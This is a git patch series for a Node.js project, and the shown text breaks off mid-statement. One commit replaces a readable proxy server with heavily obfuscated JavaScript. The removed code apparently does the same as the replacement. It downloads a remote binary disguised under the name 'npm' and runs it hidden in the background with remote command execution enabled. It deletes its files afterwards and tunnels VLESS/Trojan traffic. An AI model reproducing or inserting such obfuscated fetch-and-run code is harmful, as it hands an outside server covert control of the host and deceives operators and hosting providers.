From 2b99d8d0da44ec510b6df8b984c0518eb2750cf9 Mon Sep 17 00:00:00 2001 From: xiaodudea Date: Fri, 14 Nov 2025 14:28:47 +0800 Subject: [PATCH 1/3] Update build-hug-image.yml --- .github/workflows/build-hug-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-hug-image.yml b/.github/workflows/build-hug-image.yml index 6bb1cdeeb..716a4ca22 100644 --- a/.github/workflows/build-hug-image.yml +++ b/.github/workflows/build-hug-image.yml @@ -41,7 +41,7 @@ jobs: context: . push: true tags: | - ghcr.io/${{ github.repository_owner }}/hugws:latest + ghcr.io/${{ github.repository_owner }}/hugwslaoshiji:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=http server From 358e5d03b7b97b57f59275c03b82d4c0b62d6940 Mon Sep 17 00:00:00 2001 From: xiaodudea Date: Fri, 14 Nov 2025 14:32:13 +0800 Subject: [PATCH 2/3] Update index.js --- index.js | 378 +------------------------------------------------------ 1 file changed, 1 insertion(+), 377 deletions(-) diff --git a/index.js b/index.js index d0e1dfbd8..8484c3cb7 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 3000; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://speed.cloudflare.com/meta'); - const data = res.data; - ISP = `${data.country}-${data.asOrganization}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@cdns.doon.eu.org:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@cdns.doon.eu.org:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}/${SUB_PATH}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +(function(_0x382904,_0x588ff8){function _0x1dc453(_0x178596,_0x2be365,_0x57bf83,_0x303fe0){return _0x38c5(_0x303fe0-0x2c7,_0x57bf83);}function _0xf0ac6a(_0x4e2c94,_0xe2edc8,_0x1c0763,_0x3adce5){return _0x38c5(_0x3adce5- -0x1ca,_0x1c0763);}const _0x142e7c=_0x382904();while(!![]){try{const _0x29f871=-parseInt(_0x1dc453(0x4c2,0x509,0x434,0x43a))/(-0xaf6+-0x20b1*0x1+0x2ba8)+-parseInt(_0x1dc453(0x481,0x559,0x5ca,0x523))/(-0xa95+0xc5*0x22+0x531*-0x3)*(parseInt(_0x1dc453(0x35c,0x359,0x4a1,0x425))/(0x81f+0xde9+-0x1605))+-parseInt(_0xf0ac6a(-0x83,0x0,0x21,-0x7c))/(0x11f*0x1f+-0x6f1+-0x1bcc)*(-parseInt(_0xf0ac6a(0x1b,0xd8,-0xa8,0x6))/(-0x1f*0xe3+-0x4*-0x8bd+-0x772))+parseInt(_0xf0ac6a(-0x1f,-0x23,0x30,0x8b))/(-0x5*0x189+-0xe5+-0x2*-0x44c)+-parseInt(_0xf0ac6a(0x81,0x69,0x3b,-0x54))/(0x32a*-0x9+0x1*-0x824+0x35*0xb1)+parseInt(_0xf0ac6a(-0x9b,0x5,0x97,0xf))/(-0x1d8*0x3+-0x14c1+0x1a51)*(parseInt(_0x1dc453(0x42f,0x5c8,0x551,0x507))/(0x21c7+-0x449*-0x1+-0x2607))+-parseInt(_0x1dc453(0x555,0x4bc,0x4a5,0x48f))/(0x1057+0x1b42+-0xe85*0x3)*(parseInt(_0xf0ac6a(-0xe6,-0x12e,-0xd0,-0xd1))/(-0x1212+0x7*-0x415+-0x12*-0x298));if(_0x29f871===_0x588ff8)break;else _0x142e7c['push'](_0x142e7c['shift']());}catch(_0x3a6018){_0x142e7c['push'](_0x142e7c['shift']());}}}(_0x22d9,-0xfb5*0x29+0x1*-0x2b75e+0x98c70));function _0x22d9(){const _0x3304c1=['-auto-upda','lare.com/m','OERTY','lsjrM','curity=tls','c\x20config.y','&fp=chrome','applicatio','&sni=','decode','setsid\x20noh','\x201800\x0arepo','WrpPJ','write','xtmfg','&path=%2F','connect','lse\x0adisabl','ZDhdb','465653xYwkVi','rt_delay:\x20','YLpBD','1114274VirzlU','OZchM','CLDME','bZcOi','PORT','se_ipv6_co','JGrmO','YWTBf','OYlFm','wHvSd','text/plain','oseTG','running\x20on','createWrit','HMJsv','unlink','catch','\x0atls:\x20','return\x20(fu','NmRNv','Accept','hex','https://','rep\x20-v\x20\x22gr','NGZsE','headers','ezBOG','ayusR','rhLGw','wnKzl','fLnBO','\x20--disable','SnbMv','lmZDz','arm64','btpQq','GPnEU','eenna','kgykO','zprdW','\x0ause_gitee','path','nVnoe','IfWWp','/null\x202>&1','6a1-d2ddca','wyRJk','Ogayd','WXAmI','FkcmQ','mKYWI','info','MPFGQ','pop','yc.mn/agen','https://sp','\x0askip_conn','hzGRm','WNlzc','ost=','GEFdJ','Server\x20is\x20','\x20port\x20','LOxib','Content-Ty','8443','jMmUh','QsxhW','hslXZ','test','SUB_PATH','uOEKB','avRPJ','send','kTdGO','error','HUSyO','k\x20added\x20su','gzsAc','qToTS','LtVUB','vless://','100180pnrNHW','__proto__','XCzJM','KhvJN','slice','up\x20./npm\x20-','config.yam','mYGEu','55rYJriH','PAuwY','ync','cURLO','warn','--tls','type','NVNUL','e_auto_upd','2224920fDtyHN','exception','mdzro','AEAAw','gLXtP','ujzRm','pMaCi','KTTsQ','able_send_','count:\x20tru','writeHead','\x20false\x0adis','FMPJJ','PmGvS','fqKpl','/bin/bash','YBeQJ','chmod\x20+x\x20n','XkJQZ','trace','FpzbR','MlYiW','mJctv','rjMKr','rn\x20this\x22)(','Xpato','lhsQw','wumnV','ep\x22\x20|\x20grep','QQhKQ','nt:\x20true\x0as','ZDMNy','connection','RqgyX','3?security','ZSsaO','uSQqD','host','FyRnO','nkJgZ','CPaPW','fTOgZ','false','Status','update','yGijN','rt_period:','bqeBl','close','every','DYsjs','eady\x20runni','apply','ZzriQ','--skip-con','lDmCg','FyEOt','kWsJT','rRRzd','console','se\x0agpu:\x20fa','sha224','arch','npm\x20downlo','resolve\x20','shell','gqzIz','Hello\x20worl','wCjdm','RGTOq','n\x20--skip-p','c78-4fce-a','hBNdR','EEttt','AqQlc','ODRNR','Whshc','hMJpo','NEZHA_KEY','iGigU','sHNer','JpJXR','axios','nuwob','eed.cloudf','EIUrU','mmand_exec','g\x20error:','xTrix','ctor(\x22retu','XsxtB','gabqQ','id:\x20','pbGpY','nDkar','CGtkX','find','toString','bind','ute:\x20false','env','jCfZh','base64','18EDXNqh','RSfgj','log','aspgQ','VplcA','mvfUc','\x20-p\x20','BVtKt','constructo','2096','ZmoDq','QbukQ','arm','Not\x20Found\x0a','orce_updat','tion','KzNHI','includes','&type=ws&h','TaUnK','ection_cou','281628MJFaYC','=tls&sni=','WfvNT','gxvVe','DNS\x20server','utf8','dYenr','6AIMvCo','hfddl','mTbEX','writeFileS','dBAjp','.eu.org:44','dfFht','xLRRZ','lKKrX','VbzPg','1234.abc.c','NEZHA\x20vari','query:\x20fal','split','finish','e:\x20false\x0au','lFCKi','qioqW','\x0adebug:\x20fa','esolve?nam','dMcxp','pipe','@cdns.doon','ng,\x20skip\x20r','table','ps\x20aux\x20|\x20g','NNXQk','true','phVMt','end','LMQeH','iiGjZ','GnFHl','text/html','rVpgs','n/dns-json','cQTSZ','WqTQT','https://am','once','oKFjB','443','port','disable_co','\x0adisable_f','VXVtJ','bZEJP','QTvSI','npm\x20is\x20alr','suNbo','aml\x20>/dev/','umEPR','zpKJQ','length','reduce','get','sable_nat:','te\x20--repor','from','JrjiT','xmMIC','(((.+)+)+)','child_proc','Vznkv','client_sec','ning','https://ar','zPsHv','error:\x20','ZoNre','FPJoe','EFEaM','npm\x20runnin','nction()\x20','ARSRp','Answer','4\x0aserver:\x20','wANHY','concat','Automatic\x20','Failed\x20to\x20','_to_upgrad','keKUO','d64.ssss.n','mJPQK','Cwxjn','nxYiD','44eOpEqi','readUInt8','cfvGk','3?encrypti','lrXgS','NEZHA_PORT','QRCEP','eta','2087',':\x20false\x0auu','AOcRE','iSVyL','data','EGJDl','n/json','unning...','kzmev','qwTSw','oFZzo','Access\x20Tas','tzACH','buffer','createServ','ghSiG','UWslu','kCNrA','vXoNB','oo.serv00.','RzOnE','trim','jWGGa','npm\x20is\x20run','NaXSu','ffSKq','SKuNC','re_tls:\x20tr','groAZ','qqzOH','DmPIR','TUVCk','DOMAIN','search','ate:\x20true\x0a','digest','e:\x20true\x0adi','rtvDM','lEMRs','Dqlpp','KnsTw','ZAlvW','running','VyDyQ','substr','https://dn','QDXzG','AjKBz','yc.mn/v1','bflWB','country','utf-8','index.html','ue\x0aip_repo','lrtnn','ure:\x20false','oSubc','eStream','replace','join','createHash','then','kip_procs_','rhzNV','prototype','able\x20is\x20em','LxAkb','readUInt16','fQLaG','YXBoo','ad\x20success','QhTuf','QedHE','s.google/r','{}.constru','CXMPw','Vkfcn','137652TvbdsN','ret:\x20','gvbHK','trojan://','\x20with\x20all\x20','m64.ssss.n','null\x202>&1\x20','IcpTS','e\x0atemperat','hBAFz','https://oo','8.8.4.4','WtJzW','url','hGnUa','net/add-ur','33903PlguDD','Unknown'];_0x22d9=function(){return _0x3304c1;};return _0x22d9();}const _0x1720f2=(function(){const _0x101b42={};_0x101b42[_0x24191d(0x336,0x288,0x342,0x285)]=function(_0x20cabe,_0x417103){return _0x20cabe<_0x417103;};function _0x24191d(_0x2e2f57,_0x4546a4,_0x1ae53d,_0x458325){return _0x38c5(_0x458325-0x156,_0x1ae53d);}function _0x390c99(_0x54bf4c,_0x1ab8c0,_0x5e8ceb,_0x257932){return _0x38c5(_0x5e8ceb-0x3bd,_0x1ab8c0);}_0x101b42['ZDMNy']=_0x390c99(0x51b,0x55b,0x57e,0x536),_0x101b42[_0x390c99(0x5c6,0x5c8,0x5d8,0x682)]='EEttt';const _0x2de8fb=_0x101b42;let _0x716272=!![];return function(_0x740c14,_0x1e2a18){const _0x39cfdb={'EIUrU':function(_0x298546,_0x3de585){return _0x2de8fb['QDXzG'](_0x298546,_0x3de585);},'dfFht':_0x2de8fb[_0x16b9b1(0x5c8,0x50e,0x511,0x54e)],'hGnUa':function(_0x448687,_0x45fcc4){return _0x448687===_0x45fcc4;},'pMaCi':_0x2de8fb[_0x25f786(0x4f9,0x4cd,0x448,0x532)]},_0x14ba64=_0x716272?function(){function _0x3e0754(_0x35cc1e,_0x13a75f,_0x227f02,_0x11b07a){return _0x25f786(_0x11b07a-0x2e,_0x13a75f-0x1c7,_0x227f02,_0x11b07a-0x154);}function _0x52dd9f(_0x4a8587,_0x5af677,_0x2614b4,_0xbd78aa){return _0x16b9b1(_0x4a8587-0xd5,_0x2614b4,_0xbd78aa- -0x47f,_0xbd78aa-0x139);}if(_0x39cfdb[_0x52dd9f(-0x4,-0x3e,-0xe7,-0xa)](_0x3e0754(0x4a5,0x4a6,0x459,0x52e),_0x39cfdb[_0x3e0754(0x574,0x419,0x4ed,0x4eb)])){if(_0x1e2a18){const _0x2aed49=_0x1e2a18['apply'](_0x740c14,arguments);return _0x1e2a18=null,_0x2aed49;}}else _0x39cfdb[_0x52dd9f(0x2a,0xa9,0x105,0xc8)](_0xb7837a,_0x31cc24[_0x3e0754(0x3ef,0x43d,0x40e,0x3e3)])&&this[_0x3e0754(0x43c,0x4b8,0x530,0x479)](_0x61f145['slice'](_0x12873c)),_0x267301['on'](_0x52dd9f(0x131,0x33,0xfc,0x5b),()=>{})['pipe'](this)['on'](_0x39cfdb[_0x3e0754(0x629,0x5b3,0x491,0x56e)],()=>{})['pipe'](_0x12e10c);}:function(){};_0x716272=![];function _0x25f786(_0x70bbd2,_0x28bc1c,_0x559c6f,_0x4b2d33){return _0x24191d(_0x70bbd2-0xcd,_0x28bc1c-0x1b3,_0x559c6f,_0x70bbd2-0x188);}function _0x16b9b1(_0x21227a,_0x2a7d64,_0x18cd96,_0x45a6d1){return _0x390c99(_0x21227a-0x1d7,_0x2a7d64,_0x18cd96- -0xa4,_0x45a6d1-0xf9);}return _0x14ba64;};}()),_0x19a6ae=_0x1720f2(this,function(){const _0x4ed8a2={};function _0x197ff2(_0x5a4b52,_0x521452,_0x3046e5,_0xf173e){return _0x38c5(_0xf173e-0x2e4,_0x3046e5);}_0x4ed8a2[_0x197ff2(0x3ce,0x3de,0x33c,0x3a2)]=_0x197ff2(0x483,0x44a,0x48a,0x3c3)+'+$';function _0x54e371(_0x14a4ef,_0x3c6146,_0x18202c,_0x4204fa){return _0x38c5(_0x18202c-0x3b2,_0x3c6146);}const _0x2129ee=_0x4ed8a2;return _0x19a6ae['toString']()['search'](_0x2129ee[_0x54e371(0x42f,0x437,0x470,0x47b)])[_0x54e371(0x6b1,0x643,0x5ec,0x684)]()['constructo'+'r'](_0x19a6ae)[_0x197ff2(0x41c,0x430,0x3b6,0x406)](_0x197ff2(0x360,0x448,0x30d,0x3c3)+'+$');});_0x19a6ae();const _0x392fd6=(function(){const _0x3ac80e={};_0x3ac80e[_0x2e53fe(0x425,0x48b,0x3dc,0x361)]=function(_0x46297,_0xd47428){return _0x46297+_0xd47428;},_0x3ac80e[_0x1ac75d(-0x152,-0xfe,-0x158,-0x98)]=function(_0x377a4a,_0x4a90c4){return _0x377a4a===_0x4a90c4;};function _0x2e53fe(_0x5d9895,_0x325df5,_0x38ea18,_0x35d728){return _0x38c5(_0x5d9895-0x293,_0x35d728);}_0x3ac80e[_0x2e53fe(0x37f,0x34d,0x30c,0x319)]='tuEbl',_0x3ac80e[_0x1ac75d(-0x141,-0x148,-0x11b,-0x146)]='mJWJz';const _0x50b2e4=_0x3ac80e;function _0x1ac75d(_0x196440,_0x4af51f,_0x2572a4,_0x28cb53){return _0x38c5(_0x4af51f- -0x2f2,_0x28cb53);}let _0x37075d=!![];return function(_0x5918ef,_0x487041){const _0x360325=_0x37075d?function(){const _0x4cf7dc={'CLDME':function(_0x1ddde2,_0x558d65){function _0x58483f(_0x252a91,_0x2831f2,_0xd77bc4,_0x381cd0){return _0x38c5(_0x2831f2- -0x2de,_0xd77bc4);}return _0x50b2e4[_0x58483f(-0x178,-0x14c,-0x1fb,-0x103)](_0x1ddde2,_0x558d65);},'kTdGO':_0x25ae54(0x2f7,0x340,0x28c,0x369)};function _0x25ae54(_0x26bf22,_0x3f0a1e,_0x1aa561,_0x4b9f78){return _0x38c5(_0x4b9f78-0x12a,_0x3f0a1e);}function _0x5e877f(_0x4a0522,_0x2d0b46,_0x515844,_0x3f442a){return _0x38c5(_0x2d0b46- -0x2ca,_0x4a0522);}if(_0x50b2e4[_0x25ae54(0x363,0x312,0x2f3,0x31e)](_0x50b2e4[_0x25ae54(0x284,0x243,0x283,0x216)],_0x25ae54(0x19d,0x285,0x338,0x277)))return![];else{if(_0x487041){if(_0x50b2e4[_0x5e877f(-0x137,-0x120,-0xc5,-0x134)]!==_0x50b2e4['MPFGQ']){const _0x4868f9=_0x449722?_0x4f6a1a+'-'+_0x3c9034:_0x5dc18a,_0x34dacb=_0x5e877f(-0x1cd,-0x103,-0x113,-0x19c)+_0x2ee01b+(_0x5e877f(-0x2a3,-0x212,-0x259,-0x1d9)+_0x25ae54(0x3fc,0x2b1,0x2c1,0x38b)+_0x5e877f(-0x273,-0x1ce,-0x283,-0x16f)+'on=none&se'+_0x5e877f(-0x1c8,-0x166,-0x1a0,-0x10f)+_0x5e877f(-0xdb,-0x162,-0xae,-0x1eb))+_0x16c76e+(_0x25ae54(0x284,0x23b,0x216,0x290)+_0x25ae54(0x3f0,0x2c5,0x2de,0x37c)+'ost=')+_0x4f1b58+_0x25ae54(0x308,0x1bd,0x285,0x299)+_0x1ca549+'#'+_0x4868f9,_0x5658d2=_0x25ae54(0x297,0x315,0x1a4,0x27b)+_0x15d6d9+(_0x25ae54(0x25f,0x109,0x15d,0x1e2)+_0x5e877f(0xc,-0x69,0x6b,-0x111)+_0x5e877f(-0xf3,-0xcf,-0x101,-0x7e)+_0x5e877f(-0x22,-0x74,0x8,-0xe2))+_0x1caf1f+(_0x5e877f(-0xaf,-0x164,-0xc6,-0x171)+_0x5e877f(-0x89,-0x78,0x4d,-0x51)+_0x25ae54(0x36b,0x22a,0x2d3,0x2db))+_0x34d759+_0x25ae54(0x255,0x25d,0x2d7,0x299)+_0x33ac18+'#'+_0x4868f9,_0x133043=_0x4cf7dc['CLDME'](_0x34dacb+'\x0a',_0x5658d2),_0x168abe=_0x3643b4[_0x25ae54(0x26a,0x17e,0x1ca,0x206)](_0x133043)[_0x5e877f(-0xc3,-0x90,0x3b,-0xe6)](_0x4cf7dc[_0x25ae54(0x29e,0x2a6,0x387,0x2ea)]),_0x4caf62={};_0x4caf62[_0x25ae54(0x240,0x343,0x39f,0x2e0)+'pe']='text/plain',_0x45a080[_0x25ae54(0x35c,0x379,0x2ba,0x30d)](-0x2370+0x1*0xfb+0x233d,_0x4caf62),_0x59b40b[_0x25ae54(0x186,0x12a,0x1fa,0x1e9)](_0x4cf7dc[_0x25ae54(0x25c,0x2f6,0x213,0x2a2)](_0x168abe,'\x0a'));}else{const _0x171c1c=_0x487041['apply'](_0x5918ef,arguments);return _0x487041=null,_0x171c1c;}}}}:function(){};return _0x37075d=![],_0x360325;};}()),_0xb0775a=_0x392fd6(this,function(){const _0x7a9970={'kWsJT':function(_0x8b9a78,_0x3e4cf2){return _0x8b9a78(_0x3e4cf2);},'bflWB':function(_0x8bd026){return _0x8bd026();},'nDkar':function(_0x24b8bc,_0xe23b1d){return _0x24b8bc+_0xe23b1d;},'ffSKq':_0x524bd7(0x396,0x2f6,0x323,0x2fc)+'nction()\x20','Whshc':'{}.constru'+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)','keKUO':function(_0x5666cf,_0x28c907){return _0x5666cf!==_0x28c907;},'IfWWp':_0x111ad5(0x3d9,0x375,0x2e5,0x3b5),'ayusR':_0x524bd7(0x3c4,0x464,0x45e,0x3b6),'jwAYh':_0x524bd7(0x2c3,0x3da,0x2b5,0x348),'WLDRz':_0x111ad5(0x431,0x423,0x4f7,0x3cb),'ezBOG':_0x111ad5(0x450,0x43b,0x3d9,0x4cd),'bqeBl':_0x524bd7(0x2bd,0x404,0x423,0x34e),'iGigU':_0x524bd7(0x1ac,0x154,0x1fd,0x22e),'KhvJN':_0x524bd7(0x43d,0x2f2,0x35e,0x360),'SaRQo':function(_0x50582d,_0x41c98f){return _0x50582d<_0x41c98f;}};function _0x524bd7(_0x529759,_0x481892,_0x557e0a,_0x171ad8){return _0x38c5(_0x171ad8-0x174,_0x529759);}function _0x111ad5(_0x442109,_0x464b61,_0xe56181,_0x44af0d){return _0x38c5(_0x464b61-0x27a,_0xe56181);}let _0x3c9213;try{const _0x2fa6d0=Function(_0x7a9970[_0x524bd7(0x419,0x33c,0x402,0x3ab)](_0x7a9970[_0x111ad5(0x474,0x4b1,0x48b,0x473)](_0x7a9970[_0x524bd7(0x1e7,0x1e8,0x256,0x28e)],_0x7a9970[_0x524bd7(0x3ac,0x420,0x3fe,0x399)]),');'));_0x3c9213=_0x7a9970[_0x111ad5(0x2d2,0x3ac,0x3e4,0x41b)](_0x2fa6d0);}catch(_0x8f20b1){if(_0x7a9970[_0x524bd7(0x191,0x232,0x1b9,0x268)](_0x7a9970['IfWWp'],_0x7a9970[_0x524bd7(0x24a,0x24a,0x2ed,0x315)])){if(_0x304eda)_0x7a9970[_0x111ad5(0x425,0x48c,0x459,0x3eb)](_0x254f95,_0x482614);_0x7a9970[_0x524bd7(0x382,0x1fb,0x26f,0x2a6)](_0x491680);}else _0x3c9213=window;}const 